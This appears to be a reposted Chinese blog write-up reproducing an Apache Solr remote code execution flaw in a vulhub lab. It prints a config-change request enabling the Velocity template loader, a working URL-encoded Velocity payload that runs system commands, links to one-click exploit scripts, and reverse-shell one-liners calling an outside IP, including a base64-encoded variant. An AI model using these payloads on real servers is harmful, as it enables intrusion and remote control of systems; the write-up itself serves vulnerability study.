26.Apache Solr RCE


多事之秋,剛爆出來shiro的RCE,緊接着solr服務器就出了RCE

自從漏洞爆出來已經一段時間,復現漏洞多如牛毛,我這里來水一篇

漏洞簡介

什么是solr服務器?

Solr是一個獨立的企業級搜索應用服務器,它對外提供類似於Web-service的API接口。用戶可以通過http請求,向搜索引擎服務器提交一定格式的XML文件,生成索引;也可以通過Http Get操作提出查找請求,並得到XML格式的返回結果。

漏洞產生的原因是什么?

 1.當攻擊者可以直接訪問Solr控制台時,可以通過發送類似/節點名/config的POST請求對該節點的配置文件做更改。

 2.Apache Solr默認集成VelocityResponseWriter插件,在該插件的初始化參數中的params.resource.loader.enabled這個選項是用來控制是否允許參數資源加載器在Solr請求參數中指定模版,默認設置是false。

當設置params.resource.loader.enabled為true時,將允許用戶通過設置請求中的參數來指定相關資源的加載,這也就意味着攻擊者可以通過構造一個具有威脅的攻擊請求,在服務器上進行命令執行。

                                                                                                                                                                   --------360CERT

影響范圍

Apache Solr 5.x - 8.2.0,存在config API版本

漏洞復現

環境搭建

本次依然使用P牛的vulhub docker鏡像搭建

git clone https://github.com/vulhub/vulhub.git

cd vulhub/solr/CVE-2019-0193
docker
-compose up -d

創建名為bmjoker的Core:

docker-compose exec solr bash bin/solr create_core -c bmjoker -d example/example-DIH/solr/db

搭建好后默認端口為8983,訪問http://ip:8983 即可

漏洞利用

漏洞利用的前提是需要知道solr服務器中的core的名稱才能執行攻擊

我這里手動創建了一個core節點:bmjoker

當然漏洞產生原因是可以直接訪問Solr控制台,通過發送類似 solr/節點名/config 的POST請求對該節點的配置文件做更改

能進入控制台就能看見core節點的名稱

如果看不見的話,嘗試去訪問 /solr/admin/cores,就能看見創建的全部core節點名稱,像這樣

 

構造POST請求,向 /solr/bmjoker/config 目錄POST以下數據(來修改Core的配置)

{ "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true"
}
}

接下來使用網上爆出來的exp,嘗試利用

http://ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

 

只執行一個id未免顯得太寒酸

還是大佬們手快,這一鍵利用腳本已經出來

https://github.com/Eth4nHunt/Apache-Solr-RCE

https://github.com/theLSA/solr-rce

嘗試利用,簡直不要太舒服

開始利用的時候本來想直接通過修改命令來彈shell

bash -i >&/dev/tcp/47.107.136.25/9090 >&1

在其他互聯網環境的服務器上測試的時候,反彈shell很容易被分割中斷,總是500服務器報錯

看了大牛的分析,原來是由於Runtime不能使用管道符等bash方法,所以需要進行編碼

bash -c{echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzQ3LjEwNy4xMzYuMjUvOTA5MCAwPiYx}|{base64,-d}|{bash,-i}

按照p牛的解釋:

https://zsxq.tricking.io/topic/501/

 

 再次測試,發現反彈shell成功

水文一篇

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM